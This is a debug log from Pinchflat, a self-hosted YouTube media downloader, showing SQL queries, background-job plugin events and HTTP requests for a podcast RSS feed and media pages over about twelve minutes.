((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 00:11:50.818 [debug] QUERY OK source="source_metadata" db=2.7ms idle=153.5ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 00:11:50.842 [debug] QUERY OK source="media_metadata" db=23.3ms queue=0.1ms idle=156.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 00:11:50.861 [info] Sent 200 in 104ms 00:12:00.595 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:12:01.950 [info] {"source":"oban","duration":37441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:12:31.952 [info] {"source":"oban","duration":1497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:13:00.597 [info] {"source":"oban","duration":586,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:13:01.954 [info] {"source":"oban","duration":1233,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:13:31.956 [info] {"source":"oban","duration":1504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:13:57.121 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 00:13:57.122 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 00:13:57.123 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=1360.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 00:13:57.125 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=1361.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 00:13:57.127 [debug] QUERY OK source="source_metadata" db=0.5ms idle=1364.7ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 00:13:57.129 [debug] QUERY OK source="media_metadata" db=0.1ms idle=1365.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 00:13:57.129 [info] Sent 200 in 7ms 00:14:00.599 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:14:01.958 [info] {"source":"oban","duration":1364,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:14:31.960 [info] {"source":"oban","duration":1515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:15:00.601 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:15:01.962 [info] {"source":"oban","duration":960,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:15:31.964 [info] {"source":"oban","duration":1326,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:16:00.603 [info] {"source":"oban","duration":772,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:16:01.966 [info] {"source":"oban","duration":1073,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:16:31.968 [info] {"source":"oban","duration":1294,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:16:36.432 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 00:16:36.433 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 00:16:36.434 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=671.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 00:16:36.482 [debug] QUERY OK source="media_items" db=20.0ms queue=0.5ms idle=699.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 00:16:36.485 [debug] QUERY OK source="source_metadata" db=0.7ms idle=722.1ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 00:16:36.487 [debug] QUERY OK source="media_metadata" db=0.6ms queue=0.4ms idle=723.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 00:16:36.532 [info] Sent 200 in 99ms 00:17:00.604 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:17:01.971 [info] {"source":"oban","duration":1908,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:17:31.973 [info] {"source":"oban","duration":1054,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:18:00.605 [info] {"source":"oban","duration":551,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:18:01.975 [info] {"source":"oban","duration":1467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:18:31.978 [info] {"source":"oban","duration":1505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:19:00.607 [info] {"source":"oban","duration":429,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:19:01.980 [info] {"source":"oban","duration":1168,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:19:03.193 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 00:19:03.194 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 00:19:03.195 [debug] QUERY OK source="sources" db=0.9ms idle=1431.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 00:19:03.197 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=1432.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 00:19:03.200 [debug] QUERY OK source="source_metadata" db=0.7ms idle=1435.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 00:19:03.200 [debug] QUERY OK source="media_metadata" db=0.2ms queue=0.1ms idle=1220.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 00:19:03.201 [info] Sent 200 in 8ms 00:19:31.983 [info] {"source":"oban","duration":2012,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:20:00.610 [info] {"source":"oban","duration":448,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:20:01.985 [info] {"source":"oban","duration":1110,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:20:31.987 [info] {"source":"oban","duration":1174,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:21:00.612 [info] {"source":"oban","duration":867,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:21:01.989 [info] {"source":"oban","duration":1643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:21:22.410 [info] GET /sources/new 00:21:22.463 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{} Pipelines: [:browser] 00:21:22.570 [debug] QUERY OK source="media_profiles" db=12.6ms queue=0.1ms idle=792.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 00:21:22.584 [debug] QUERY OK source="settings" db=12.9ms queue=0.4ms idle=806.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:21:22.683 [debug] QUERY OK source="settings" db=0.7ms queue=0.2ms idle=893.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:21:22.684 [debug] QUERY OK source="settings" db=0.8ms queue=0.1ms idle=919.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:21:22.688 [debug] QUERY OK source="settings" db=1.1ms queue=0.1ms idle=839.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:21:22.694 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=124.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:21:23.387 [info] Sent 200 in 976ms 00:21:31.992 [info] {"source":"oban","duration":1673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:22:00.613 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:22:01.162 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 00:22:01.995 [info] {"source":"oban","duration":1676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:22:15.319 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 00:22:15.319 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 00:22:15.321 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=1323.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 00:22:15.323 [debug] QUERY OK source="media_items" db=0.8ms queue=0.2ms idle=1325.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 00:22:15.325 [debug] QUERY OK source="source_metadata" db=1.1ms idle=1125.9ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 00:22:15.326 [debug] QUERY OK source="media_metadata" db=1.2ms queue=0.1ms idle=329.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 00:22:15.327 [info] Sent 200 in 8ms 00:22:31.998 [info] {"source":"oban","duration":1724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:23:00.615 [info] {"source":"oban","duration":541,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:23:02.001 [info] {"source":"oban","duration":1776,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:23:11.737 [info] GET /sources/1/media/24 00:23:11.771 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "24", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 00:23:11.835 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=1837.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [24] 00:23:11.989 [debug] QUERY OK source="sources" db=0.6ms idle=1650.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 00:23:12.030 [debug] QUERY OK source="tasks" db=41.3ms queue=0.3ms idle=1992.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [24] 00:23:12.053 [debug] QUERY OK source="oban_jobs" db=20.7ms idle=1035.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [23] 00:23:12.059 [debug] QUERY OK source="settings" db=0.9ms queue=0.2ms idle=717.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:23:12.095 [debug] QUERY OK source="settings" db=0.7ms queue=0.4ms idle=259.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:23:12.097 [debug] QUERY OK source="settings" db=0.6ms queue=0.2ms idle=107.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:23:12.142 [debug] QUERY OK source="media_profiles" db=1.0ms queue=0.1ms idle=111.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:23:12.417 [info] Sent 200 in 680ms